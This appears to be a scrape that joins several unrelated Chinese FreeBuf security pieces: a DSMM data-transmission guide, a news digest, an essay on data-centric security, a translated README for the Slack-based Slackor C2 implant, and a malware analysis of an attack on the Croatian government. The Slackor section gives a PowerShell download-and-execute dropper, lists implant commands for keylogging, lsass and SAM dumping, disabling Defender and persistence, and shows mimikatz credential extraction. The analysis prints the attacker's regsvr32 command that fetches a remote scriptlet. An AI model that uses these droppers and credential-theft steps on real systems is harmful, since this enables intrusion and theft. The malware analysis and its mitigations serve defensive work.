3. 由于加密技术的实现都依赖密钥,所以需要建立密钥管理安全规范和密钥管理系统,明确密钥的生成、分发、存取、更新、备份和销毁的流程。即什么安全级别的数据,应该采取什么加密算法(国密算法还是国际算法,对称加密算法、非对称加密算法还是哈希算法)以及使用多少位强度的密钥,密钥的有效期是多久,怎么备份密钥,怎么删除密钥等一系列内容。

4. 在选择加密类型及密钥强度时需要结合业务类型和网络现状,有选择地实行加密,避免对业务造成影响。

5. 对于负责加密策略配置和密钥管理的人员,必须有一个审核监督机制,确保其加密算法的配置和变更都是得到授权和认可的,目前通常采用堡垒机的方式进行监督管理。

2.2网络可用性管理

官方描述为通过网络基础链路、关键网络设备的备份建设,实现网络的高可用性,从而保证数据传输过程的稳定性。

数据在网络传输过程中依赖网络的可用性,一旦发生网络故障或者瘫痪,数据传输也会受到影响甚至中断。

DSMM标准在充分定义级要求如下:

制度流程:

在关键的业务网络架构应考虑网络的可用性建设需求,对关键的网络传输链路、网络设备节点实行冗余建设。

技术工具:

部署负载均衡、防入侵攻击等设备进一步强化对网络可用性风险的防范

人员能力

负责该项工作的人员具有网络安全管理的能力,了解网络安全中对可用性的安全需求,能够根据不同业务对网络性能需求制定有效的可用性安全防护方案。

以下是在数据采集安全管理阶段具体落地应该重点关注的内容:

1. 对关键业务网络的传输链路、网络设备节点进行冗余建设。包括:硬件冗余(电源冗余、引擎冗余、模块冗余、设备堆叠、链路冗余、设备冗余、负载均衡)、软件冗余(链路捆绑技术)和路由冗余(VRRP、动态路由协议)。

2. 借助负载均衡、防入侵攻击等安全设备来降低网络的可用性风险。

三、总结

DSMM之数据传输安全其实就是为了保证数据从前端采集之后到业务处理系统之间传输过程的安全,主要的目标就是实现数据保密、防篡改和高可用,对网络安全的要求也是基于数据加密和网络冗余可用。

虽然在文中,很多制度和技术工具是分开叙述,但是在实际工作中可能是混在一起的,同时很多具体实现的部分不仅仅只是应用在一个过程域或者一个生命周期阶段,甚至可以应用在整个生命周期过程中。比如要求对重要或敏感数据进行加密存储和传输,在生命周期各阶段都适用。

以上就是DSMM数据传输安全过程的要求以及我们在进行实际落地执行过程中的一点心得和体会,希望能够给有真正有DSMM需求的组织和人员带来一点儿启发,也希望对DSMM感兴趣的小伙伴一起来交流,并给出一些意见,共同将DSMM做的更好。

欢迎私信我一起交流网络安全相关的内容!

*本文原创作者:LJ_Monica,本文属于FreeBuf原创奖励计划,未经许可禁止转载

FreeBuf早报,安全圈值得关注的每日大事件

【全球动态】

1.德、法反对脸书加密货币Libra进入欧洲

德国与法国财政部长在芬兰首都赫尔辛基发表联合声明,重申货币主权重要性,反对美国社交媒体脸书公司计划发行的加密数字货币Libra在欧洲推行。德国联邦副总理兼财政部长奥拉夫·肖尔茨和法国财政部长布鲁诺·勒梅尔当天在此间举行的欧元区财长会上接受媒体采访时表示,两国政府决心应对虚拟货币给金融安全、投资者保护、防范洗钱和资助恐怖主义等领域带来的挑战。[阅读原文]

2.谷歌开始收集面部数据 隐私问题再度引爆

谷歌最新的智能显示屏最近出了一项备受争议的新功能Face Match,它是在谷歌Nest Hub Max上推出的。Face Match使用智能显示屏的前置摄像头作为一项安全功能,以及参与视频通话的一种方式。当它识别出你的脸时,它还会显示你的照片、短信、日历等细节。[阅读原文]

3.美国制裁WannaCry和Sony Hack背后的朝鲜黑客

美国财政部对朝鲜的三个从事网络行动的活跃黑客组织签署了制裁措施,这些黑客组织旨在将金融资产带入朝鲜政府。这些团体是Lazarus,Bluenoroff和Andariel,他们在安全行业中以网络间谍,数据窃取,货币奖励和数据销毁等网络运营而为人所知。[外刊-阅读原文]

4.布拉德·史密斯宣传新书:拒绝向大规模监控出售人脸识别服务

据外媒报道,微软总裁布拉德·史密斯(Brad Smith)近期正在宣传他的新书《工具与武器:数字时代的希望与危险》。布拉德在书中对道德问题持开放态度并指出特朗普政府试图从微软获得帮助来监视人们。现在,他证实特朗普不是唯一一个来微软寻求帮助的人。[阅读原文]

5.反向工程应用披露FB会自动从运营商那里获取用户手机号码

据外媒报道,Facebook被发现使用用户提交的双重身份验证的手机号码来将用户跟现实生活中的朋友网络匹配起来。很显然,这一爆料引起了骚动,但看起来Facebook总是能得到用户的电话号码,大概通过手机应用中的一个API向运营商发出请求。[阅读原文]

6.“网络水军”成黑恶势力犯罪新形态 立法上要有突破

由国家检察官学院、中国犯罪学学会主办、《中国检察官》杂志社、《国家检察官学院学报》编辑部承办的“新时期网络空间扫黑除恶与法律规制专题研讨会”在京举行。中国犯罪学学会会长黄河建议,应从网络黑恶势力的样态、形成网络黑恶势力的生态、国家治理犯罪的心态等“三态”研究网络空间治理问题,加快出台依法打击网络涉黑恶犯罪等法律政策文件。[阅读原文]

7.OpenBSD 上的 Firefox 将默认禁用 DoH

Mozilla 上周宣布,它计划 9 月晚些时候对美国 Firefox 用户逐步默认启用 DNS-over-HTTPS(DoH)。用户发送的 DNS 请求通常是明文发送给 ISP 的 DNS 解析服务器,在不同的网络环境下,明文发送 DNS 请求被认为不安全的,DoH 设计通过 HTTPs 加密向第三方或用户自己搭建的 DNS 服务器发出域名查询请求。[阅读原文]

【安全事件】

1.网络安全专家称拍照比“剪刀手”会泄露指纹信息

9月15日上午,作为2019年国家网络安全宣传周上海地区活动的重要组成部分,“全民体验日”主会场活动在杨浦区创智天地下沉式广场启动。拍照时如果镜头距离够近,“剪刀手”照片通过照片放大技术和人工智能增强技术,就能将照片中人物的指纹信息还原出来。[阅读原文]

2.新研究暗示2016年乌克兰停电事件背后的潜在原因

据外媒报道,2016年12月,俄罗斯黑客在乌克兰国家电网运营商Ukrenergo的网络中植入了一种被称为Industroyer或Crash Override的恶意软件。而在圣诞节前两天的午夜,网络犯罪分子利用已经部署好的恶意软件破坏了乌克兰首都基辅附近一个传输站的所有断路器,从而导致首都大部分地区断电。[阅读原文]

3.电信诈骗手段翻新 制作“安全防护”冒充北京警方App

近来有一款名为“安全防护”的软件冒充北京警方的官方App。该App一般与“冒充公检法”的电话捆绑出现,迷惑市民输入银行卡信息。该App无法在应用商店下载,只能通过链接下载。对此,北京警方提示,遇到可疑电话不要轻信,更不要下载不明App进行操作,要尽快拨打110核实情况。[阅读原文]

4.微软KB4516067补丁再出问题 令Surface上的IE无法工作

微软九月份面向Windows 10的最新更新为用户带来了一系列问题,最新受害的是Surface设备,Windows Update KB4516067在发布到Surface 2和Surface RT等设备后带来了一个严重的错误,几乎所有用户都无法使用Internet Explorer浏览器了。[阅读原文]

5.Windows 7/8.1新补丁藏猫腻:悄悄搜集数据

Windows 10系统备受争议,除了功能界面设计、层出不穷Bug、扰民更新补丁之外,还有很重要的一点就是对隐私的侵犯,尤其在国外一直是焦点所在。按照微软的说法,Windows 10系统搜集用户使用数据,是为了完善系统、修复缺陷、增强体验,但是很多用户并不买账,微软也逐步调整,放弃了很多数据的搜集,并将选择权交给用户。[阅读原文]

6.复杂的iOS 13漏洞:可在不解锁iPhone的情况下查看联系人

苹果不久前刚关闭了 iOS 12.4 的认证通道,并全力向 iOS 13 转进。然而近日,一位名叫 Jose Rodriguez 的安全研究人员,又在一段 YouTube 视频中演示了如何利用 VoiceOver 和 Siri 的漏洞。甚至可以在不解锁 iPhone 的情况下,不受限制地访问存储在设备上的联系人名单。[阅读原文]

7.Tor的Bug Bash基金筹集了86000美元以修复严重漏洞

上个月,Tor项目宣布,2019年8月对该组织的所有捐款都将被添加到Bug Bash基金中,该基金将用于支付开发人员修复出现的严重漏洞。如今,Tor项目已经为Bug Bash 基金募集了86000美元,用于支付开发人员快速修复漏洞或隐私问题等严重漏洞,这些漏洞泄露了Tor用户的个人信息。[外刊-阅读原文]

【优质文章】

1.我们是如何发现对欧洲政府的攻击的

寻找新型以及危险的网络威胁是PT ESC安全中心的主要工作之一,2019年中旬,PT ESC的分析人员发现了一起针对克罗地亚政府的网络攻击。在这篇文章中,我们将针对这一攻击活动进行分析,而且据我们所知,这种新型的攻击框架在此之前从未有人使用过。[阅读原文]

2.焦点访谈:网络安全有多重要?总书记这样说

2019年的国家网络安全宣传周将从明天开始启动,这已经是连续举办的第五届,主题是“网络安全为人民,网络安全靠人民”。作为一个网络大国,我国的网络安全也成了一个大问题。层出不穷的病毒、防不胜防的黑客,盗取数据、破坏电脑,给个人带来麻烦,让企业遭受损失,也对国家安全构成了极大的威胁。[阅读原文]

3.玩转摩尔斯电码:自制摩尔斯电码音频解析器

摩尔斯电码(又译为摩斯密码,Morse code)是一种时通时断的信号代码,通过不同的排列顺序来表达不同的英文字母、数字和标点符号,从而实现通信。写本文的主要目的是想设计一套系统,帮助听报员解放双耳,实现对音频的摩尔斯电码自动解码。但手头没有现成的摩尔斯电码的音频文件,所以只好先设计一套摩尔斯电码音频发生器,然后再设计一套摩尔斯电码音频解析器。[阅读原文]

*本文内容收集自全球范围内的媒体与刊物,制作者对其完整性负责,但不对其真实性和有效性负责。

*标注为【外刊】的内容主要来源为英语国家的媒体与刊物,部分内容需要注册免费账号后方可阅读。

似乎在IT行业里,大家都有过类似的感觉,那就是总有新名词冒出来,大家讨论的热火朝天的同时,彼此对这个词的含义理解并不相同。好多年后,大家才逐渐清晰的总结出了这个词的具体含义。比如,大数据(Big Data)早在1983年就被提出来,在2011年进入行业视野,又过了好多年,人们才统一了认识,明确了大数据几个“V”的特点。

在安全行业,这个现象同样很常见。近几年,数据安全领域经常出现的一个热词是 “以数据为中心的安全”,很多报告都用“以数据为中心的安全”区别“传统的数据安全”,但却很少有人具体讲清楚“以数据为中心的安全”到底是什么。因此,我们梳理了近十年国内外对“以数据为中心的安全”这一概念的介绍和理解写出这篇文章,希望能对大家理解“什么是以数据为中心的安全”有所帮助。

DCS是Data-centric Security的简称,即以数据为中心的安全。为便于阅读,本文以下内容将统一使用DCS表示“以数据为中心的安全”。值得注意的是,有些文章提到的“以信息为中心的安全”(Information-centricSecurity)在本文中也一并以DCS代替。本文的目的是探讨DCS的具体含义,Data和Information的区别不在本文讨论范围内。

一、什么是DCS

维基百科上对DCS的解释是:相比系统安全、网络安全、应用安全等更聚焦在数据自身安全的安全方法,并指出一个DCS模型具有4个关键组件,分别是:发现、管理、保护和监测。这4个关键组件的具体能力是:发现是指发现敏感数据等数据存储在什么位置的能力;管理是指定义数据在不同情况下可访问、修改、阻断等策略的能力;保护是指阻止敏感数据泄露或非授权使用的能力;监测是指持续对数据使用异常行为监测发现的能力。

MarketsandMarkets在《DATA-CENTRICSECURITY MARKET》报告中称DCS市场规模将从2017年的20.6亿美元增长到2022年的58.3亿美元,其增长的主要动力来自于强劲的合规需求,其中亚太地区将成为增长最快的地区。

然而,目前行业内似乎还没有对DCS形成统一的认识。于是我们参考了数十份资料,包括学术论文、产业研究报告、技术白皮书等资料,系统梳理并结合我们自己的实践经验形成本文,目的是与大家一同讨论DCS的概念并统一对DCS的认识。 

二、大家眼中的DCS

1.IBM:DCS的核心是数据分类

IBM是一家伟大的公司,很早就在很多技术领域发表过深刻的思考。2006年,IBM的研究人员Sreedhar就已经提出了基于角色分析的DCS方法,用于处理对象被不同方法访问时的安全问题。这个方法把角色作为重点考擦对象,并以角色一致为主要判别准则。2009年,IBM又提出一个基于数据的安全模型,名为DCSM(Data-centric Security Model)。DCSM把数据、策略和角色区分开,通过自定义一套策略描述语言,通过策略把数据和角色关联起来。DCSM是基于数据的商业价值进行制定策略,而不是基于传统的IT安全规则。更重要的时,DCSM强调了DCS的核心就是数据分类,而且必须是自动化的数据分类。这一判断非常准确,一直沿用至今。

IBM的观点是,传统的数据安全分类标签如机密、专有、限制传播、商业秘密等是不能满足业务需求的,如果数据分类和业务流程不匹配,则分类越多,来带的负面影响越多。所以IBM提出了新的数据分类方法,这个分类方法遵循三条原则:1)数据分类一次完成;2)策略直接体现在分类标签上;3)业务主管直接推进分类并直接看到执行结果。

IBM最后还是强调DCS最核心的内容就是结构化数据的分类方法,同时也指出,数据如何有效分类是个大学问,需要对行业规范、公司标准、业务操作、各类文档、部门交互都非常熟悉的核心人员来主导分类。

2.Symantec:数据打标和数据加密是重中之重

Symantec提出了一个以信息为中心的安全模型(Symantec Information Centric Security Module ,简称ICSM)。这个模型包括两个核心组件:数据打标(Symantec Information Centric Tagging,简称ICT)和数据加密(Symantec Information Centric Encryption ,简称ICE)。ICT和ICE都已在Symantec形成产品或解决方案。

ICT是针对邮件和文件进行打标签和加水印的分类器。ICE是基于云的一整套加密方案,包括加密算法、秘钥管理、身份认证、用户和文件监测以及终端用户加密工具。如果从Symantec的产品设计来看,还有Data Loss Prevention(DLP)和CloudSOC等产品。整套的数据安全产品在数据防护的准备、保护、监测和响应四个环节进行保护,具体下图所示。

图1.png

图1. SynmantecDCS框架

3.IDC:DLP是DCS的神经系统

IDC指出DCS是解决数据安全的最佳方案。数据具有三种主要的保护方式:定义和分类、监测和强化治理策略、加密和混淆。数据防护的最佳方式就是将这三种方式有效的结合起来,而结合起来就是DLP、加密和访问控制。其中,DLP是在DCS策略中像神经系统一样重要。

4.Sirius:完整的DCS策略具有10个核心要素

Sirius Edge的一篇文章列出了一个完整的DCS必须具备的10个核心要素,分别是:1)数据发现;2)数据分类;3)数据打标和数据水印;4)DLP;5)数据可视化;6)加密策略;7)增强的网关控制;8)身份管理;9)云访问管理;10)持续教育。值得一提的是,这10个要素中强调了持续教育这一非技术要素,提醒我们做数据安全防护的时候一定不能只盯着技术、盯着功能性能,而忽略了教育、培训等非技术要素。

三、DCS离不开数据生命周期

DCS强调数据处于中心位置,如何体现中心位置呢?这就需要站在数据的视角,把数据的完整生命周期(Data Life Circle)梳理出来,然后从数据生命周期的每个关键环节重新审视安全问题和解法。通过数据生命周期来看待DCS并不是某一家独有的观点,而是很多机构共同支持的观点。只不过,大家对数据生命周期的划分数量和阶段类型都不同。一些文章用DLCM(Data Life Circle Model的简称,数据生命周期模型)来表述数据的生命周期。为便于阅读,本文统一使用DLCM表示数据生命周期,并用DLCM-X来区分不同的数据生命周期模型,其中X表示划分的阶段数量。

针对DLCM的讨论和划分有很多种,有些机构将数据生命周期分为5个阶段,形成DLCM-5,有些则划分成更多的阶段,例如DLCM-6、DLCM-7、DLCM-10等。本文,我们仅介绍几个代表性的DLCM。

1.DLCM-6

Securosis将数据生命周期划分为6个阶段,分别是:创建、存储、使用、分享、存档、销毁。而且,Securosis将这6个阶段表示为单向流动,即从创建开始依次流动,直到销毁结束,并在每个关键阶段列出了对应的数据安全技术,如下图所示。

图2.png

图2. 数据生命周期模型DLCM-6

图中,数据分享阶段的CMP技术是“Content Monitoring and Protection”的简称,即数据内容监测与防护技术,这是DLP的核心技术。图中剩余关键技术都是常见技术,在本文不再详细介绍。

2.DLCM-7

Bloomberg在《7 phasesof a data life cycle》一文中,将数据生命周期划分为7个阶段,分别是:数据获取、数据保存、数据合成、数据使用、数据发布、数据归档、数据清洗。这个7段分法中,比较有特色的是数据合成(Data Synthesis)。数据合成是一种数据分析过程,主要指通过多种数据共同计算产出更多数据价值的过程。文章也提到,数据合成这个阶段并不是常见的数据生命周期阶段。数据合成是连接数据保存和数据使用的中间阶段,其中,对于数据最初的预处理是在数据保存阶段完成的,而与实际业务直接相关的数据计算都在数据使用阶段完成。

3.DLCM-11

Uttaranchal University 的一篇论文将DLCM划分为11个阶段,分别是:收集、重要性判断、用户授权、分类、存储、传输、存档或转换、发布、备份、留存、评估或移除。DLCM-11增加了用户授权阶段,这一阶段主要是通过访问控制相关技术实现正确的主体访问正确的数据。不过,用户授权并不是一个数据概念,而是一个系统概念,出现在数据生命周期中并不多见。此外,DLCM-11也标出了每个阶段的风险等级,其中用户授权、存储、存档或转换这三个阶段的风险等级最高。而且,文章提到的风险等级都是指“数据泄露”的风险,并没有考虑“数据滥用”和“数据误用”问题。

图3.png

图3. 数据生命周期模型DLCM-11

四、小结

本文前面介绍了IBM、Symantec等几个机构对DCS的理解,不难看出,不同机构在不同时期对DCS的理解角度不同,关注的重点也不同。便于大家直观理解各家DCS概念的区别,我们基于各家材料梳理形成了下表。其中,部分机构的DCS未在本文中展开介绍,感兴趣的读者可以根据参考文献进一步了解。

表1. 各家DSC核心组件对比

表1.png

大数据时代的数据安全是“旧瓶装新酒”。DCS(以数据为中心的安全)看上去是一个老的概念,但实际上是完全不同的新概念,所以不能用过去的思路理解今天的含义,也不能用过去的经验来解决今天的数据安全问题。想要解决今天面对的数据安全问题,创新是必不可少的。

本文基于当前大家常见的DCS这一概念展开论述,主要通过对比介绍行业内多家知名机构对DCS的理解,希望能对大家统一理解DCS这一概念有所帮助。

参考文献

[1].    《Data-centric security:Integratingdata privacy and data security》,IBM,2009

[2].    《Data-Centric Security:RoleAnalysis and Role Typestates》,IBM, 2006

[3].    《Symantec ICSM 15.0 Deployment Guide》

[4].    《Information Centric Security Brief》, Symantec,2018

[5].    《The Six Inconvenient Truths of Data-Centric Security》,IDC,2019

[6].    《Information-Centric Security: Why Data Protection Isthe Cornerstone of Modern Enterprise Security Programs 》,IDC,2017

[7].    《10 Keys to Data-Centric Security》, Sirius EDGE, 2016

[8].    《A Guide on the Data Lifecycle》,Varonis, 2018

[9].    《Data Security Lifecycle》,Securosis

[10].  《Data Security Lifecycle 2.0》,Securosis

[11].  《7 phases of a data life cycle》,Bloomberg,2015

[12].  《Data Lifecycle Management Model Shows Risks andIntegrated Data Flow》, TechTarget, 2018

[13].  《Data Security and Updation of Data Lifecycle in CloudComputing using Key-Exchange Algorithm》, UttaranchalUniversity,

[14].  《DATA-CENTRIC SECURITY MARKET》,MarketsandMarkets,2017

[15].  《Data-Centric Security: Reducing Risk at the Endpointsof the Organization》,IAPP,2014

[16].  《Trends In Data Centric Security》,Securosis,2014

[17].  《Data_Centric_Security:SevenBest Practices for Protecting Your Most Sensitive Data 》,TDWI,2016

[18].  《Detect andProtect: A Data-Centric Approach to Security》,Informiatica, 2017

[19].  《Data-Centric Security and Big Data》,Thales, 2018

[20].  《WHITE PAPER:INFORMATION-CENTRICSECURITY》,global velocity,2014

[21].  《Data Centric Security Management》,PWC,2014

[22].  《Methodology for Decentralized Data lifecycleManagement》,Rest Assured,2018

[23].  《White Paper: Data-centric Security vs. Database-levelSecurity》, Micro Focus

[24].  《A BLUEPRINT FOR DATA-CENTRIC SECURITY》,PKWARE

[25].  《The Forrester Wave™_ Data Security Portfolio Vendors,Q2 2019》,Forrester,2019

*本文作者:liting,转载请注明来自FreeBuf.COM

该项目的灵感来自GcatTwittor

1566957526_5d65dfd6c0f21.png!small

1566957558_5d65dff6d060e.png!small

编译

注意:服务器是用Python 3编写的

为此您需要准备

1.Slack工作区

2.并为slack应用设置以下权限:

channels:read
channels:history
channels:write
files:write:user
files:read
创建一个机器人

这个仓库包含五个文件:

install.sh 安装依赖

setup.py 用于创建通道,数据库的脚本

agent.py 用于生成后门的脚本

server.py Slackor服务器,在Linux上运行

agent.go golang后门

requirements.txt Python依赖

如何开始:

go get github.com/Coalfire-Research/Slackor

cd $GOPATH/src/github.com/Coalfire-Research/Slackor

install.sh

setup.py

为您的应用程序提供OAuth token

成功运行脚本后,脚本将在dist/目录中创建几个文件:

agent.windows.exe:Windows 64位二进制文件
agent.upx.exe:Windows 64位二进制文件,UPX打包
agent.darwin:macOS 64位二进制文件
agent.32.linux:Linux 32位二进制文件
agent.64.linux:Linux 64位二进制文件

server.pyLinux主机上启动后,

运行stager模块以生成单线程和其他dropper。

powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe

这将执行InvokeWebRequest(PS v.3 +)以下载payload,使用LOLBin执行它

用法

输入help或按[TAB]查看可用命令列表。输入help [COMMAND]以查看该命令的描述。

Slackor

help - 显示帮助菜单
interact - 与代理交互
list - 列出所有已注册的代理商
remove - 杀死并删除代理
revive - 向所有代理发送信号以重新注册服务器
stager - 生成单行程序以下载执行植
quit - 退出程序
wipefiles - 从Slack中删除所有上传的文件

代理进入后,您可以与其进行交互。使用interact [AGENT]进入代理提示符。输入help或按[TAB]查看可用命令列表。

Slackor:AGENT

- 常用命令
- back - 返回主菜单
- beacon - 更改代理每次登记之间的时间(默认为5秒)
- download- 将代理程序中的文件下载到Slackor服务器
- help - 显示帮助菜单
- kill - 杀死进程
- sleep - 代理睡眠一次时间(以秒为单位输入时间)
- sysinfo- 显示当前用户,操作系统版本,系统体系结构和CPU核心数
- upload - 从Slackor服务器上传文件到代理
- wget - 通过HTTP / HTTPS下拉任意文件
- Windows命令
- bypassuac - 生成代理
- cleanup - 删除持久化操作
- clipboard - 检索剪贴板的内容
- defanger - 去除Windows Defender
- duplicate - 使代理生成另一个自身调用
- getsystem - 将代理生成为NTAUTHORITY / SYSTEM
- keyscan - 在代理上启动键盘记录器
- minidump - 从lsass.exe转储内存并下载
- persist - 通过在ADS中植入二进制文件来创建持久性
- samdump - 尝试转储SAM文件以进行脱机哈希提取
- screenshot - 获取桌面的屏幕截图
- shellcode- 执行x64原始shellcode
- Mac命令
- Linux命令
- screenshot - 获取桌面的屏幕截图

OPSEC注意事项

除Slack的TLS传输加密外,命令输出和下载的文件都是AES加密的。

模块将在执行写入磁盘的任务之前发出警告。执行shell命令时,请注意cmd.exe/ bash将执行。这可以在主机上监控。以下是几个不执行cmd.exe/的OPSEC安全命令bash

- cat - 打印文件内容
- cd - 更改目录
- find - 搜索目录文件名
- getip - 获取外部IP地址(发出DNS请求)
- hostname - 显示主机的名称
- ifconfig - 显示接口信息
- ls - 列出目录内容
- mkdir - 创建目录
- pwd - 打印当前工作目录
- rm - 删除文件
- rmdir - 删除目录
- whoami/getuid - 打印当前用户

未来的目标

1.DOSfuscation

2.反复加载DLL / PE – https://github.com/vyrus001/go-mimikatz

3.在内存中执行C#程序集 – https://github.com/lesnuages/go-execute-assembly

4.源代码混淆https://github.com/unixpickle/gobfuscate

常问问题

这对红队/测试使用是否安全?

是的,考虑到一些条件。当数据在传输过程中加密时,代理包含用于解密的密钥。获取代理副本的任何人都可以对其进行反向工程并提取API密钥和AES密钥。任何妥协或以其他方式获得对工作区的访问权限的人都能够检索其中的所有数据。因此,不建议针对多个组织重用基础结构。

Mimikatz怎么样?

植入物没有内存中的密码转储功能。如果您需要logonPasswords,可以尝试以下操作:

(Slackor: AGENT)minidump

这将使用Pypykatz自动提取密码。或者,您可以在Windows上使用Mimikatz。

>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords

它是跨平台的吗?

它的跨平台支持有限。它尚未在可以运行的所有系统上进行全面测试。该服务器旨在在Kali Linux上运行。代理程序是针对Windows,Mac和Linux编译的,但主要是使用Windows 10进行测试。代理程序可能会错误处理该代理程序平台不支持的命令(不要尝试对Mac进行小型化)。

它的规模如何?

可伸缩性受Slack API的限制。如果您有多个代理,请考虑增加未使用的信标的信标间隔。

它是否容易受到标准信标分析的影响?

目前,每个信标都内置了20%的抖动,并且可以定制信标时间。只要没有收到新命令,代理登记请求和响应数据包每次大小大致相同。

它被杀软发现!

现在这是开源的,它必然会有问题。我们会尽可能地修复模块,但无法保证这将始终绕过所有AV。

参考来源:GitHub,FB小编周大涛编译,转载请注明来自FreeBuf.COM

寻找新型以及危险的网络威胁是PT ESC安全中心的主要工作之一,2019年中旬,PT ESC的分析人员发现了一起针对克罗地亚政府的网络攻击。在这篇文章中,我们将针对这一攻击活动进行分析,而且据我们所知,这种新型的攻击框架在此之前从未有人使用过。

感染链

2019年4月2日,在常规的恶意软件监控活动中,PT ESC的研究人员发现了一份可疑的Office文档:

这是一份excel文件,它伪装成了包裹通知,并存储为了旧版本的.xls格式(时间戳:2019-04-01 16:28:07 (UTC))。然而,该文件的“上次打印”时间戳(2018-07-2500:12:30 (UTC))表明该文档曾在2018年被使用过。

需要注意的是,文件的注释信息包含了Windows控制台命令:

cmd.exe/c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run"net use https://postahr.vip", 0, False: Wscript.Sleep 10000:objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sctscrobj.dll", 0, False: Set objShell = Nothing  >C:\users\%username%\appdata\local\microsoft\silent.vbs

这条命令会创建一个VB脚本,运行之后会执行下列任务:

1、建立一条WebDAV网络连接;

2、下载并运行文件以备下一阶段的感染,需要借助合法的系统实用工具regsvr32。

在与攻击者的服务器建立了HTTP(S)连接之后,脚本会发送一个NTLM请求。这个请求可以用来恢复NTLM哈希来进行pass-the-hash攻击。

这种利用regsvr32来进行恶意攻击的技术被称为Squiblydoo,之前也有过相关介绍。攻击者可以使用它来绕过应用程序白名单,并躲避反病毒产品的检测。

注释参数的内容本身并不会进行什么操作,而是会触发其他操作。当目标用户打开Excel文档之后,会弹出一条信息来要求用户启用宏功能:

如果用户点击了“启用内容”按钮,则会弹出一条伪造的消息,其中包含Croatian Post的logo和包裹通知:

与此同时,恶意宏将运行文件注释中的命令,新的脚本将会添加到系统的启动项中:

有趣的是,这个新脚本并不是由恶意宏运行的,这很有可能是攻击者专门设计的,因为攻击者需要在重启并用户登录之后进行下一阶段的感染。需要注意的是,其中的代码结构非常好,缩进和格式都很整洁,并且从第三方源“借用”了一些代码。

而且攻击者还从网上“抄袭”了一些代码,并进行了修改:

接下来,我们看看下一阶段攻击者如何使用regsvr32来实现感染。命令运行之后,会从攻击者的服务器下载一个JavaScriptscriptlet,Body中包含有Base64编码的数据。解码之后,数据会被反序列化,并由.NET框架运行。

这里的部分代码也是攻击者从网上“借鉴”过来的:

从表面上看,攻击者对所使用的工具并没有非常深刻的了解。比如说,scriptlet调用了setversion函数,但并没做任何其他的事情,在线提供的一个示例scriptlet也是如此。

解包并运行之后,代码会下载一个.NET可执行文件(PE文件)。

编译后,源代码文件夹的路径仍然存在。这里的-master后缀表明,这些代码是直接从代码库中克隆过来的。其中一个目录路径为SharpPick的组件,它可以用来下载并运行跟.NET有依赖关系的PowerShell代码,而不需要额外的代码解释器。

反编译之后,我们得到了PowerShell脚本代码:

这段代码会进行下列操作:

1、创建一个对象来与Web服务器交互,包含User-Agent、Cookie和代理设置。

2、Payload会从上述地址中下载。

3、使用RC4密钥解码并运行下载下来的数据。

不幸的是,C2服务器在此时已经无法访问了,所以我们无法获取到之前的数据了。但是,调查结果显示这个感染链为Empire Backdoor(输入Empire后渗透利用框架),它可以帮助攻击者远程控制目标用户的计算机。

缓解方案

1、监控特定白名单应用程序的使用:certutil,regsvr32, msbuild, net, wmic。

2、扫描并分析邮件附件以及邮件中的链接。

3、定期扫描联网计算机的RAM。

入侵威胁指标IoC

0adb7204ce6bde667c5abd31e4dea164

13db33c83ee680e0a3b454228462e73f

78184cd55d192cdf6272527c62d2ff89

79e72899af1e50c18189340e4a1e46e0

831b08d0c650c8ae9ab8b4a10a199192

92530d1b546ddf2f0966bbe10771521f

c84b7c871bfcd346b3246364140cd60f

hxxps://postahr.vip/page/1/update.sct

hxxps://posteitaliane.live/owa/mail/archive.srf

hxxps://konzum.win/bat3.txt

hxxp://198.46.182.158/bat3.txt

hxxps://176.105.255.59:8089

[\\]176.105.255.59\webdav\msbuild.xml

postahr.online

176.105.254.52

93.170.105.32

* 参考来源:ptsecurity,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM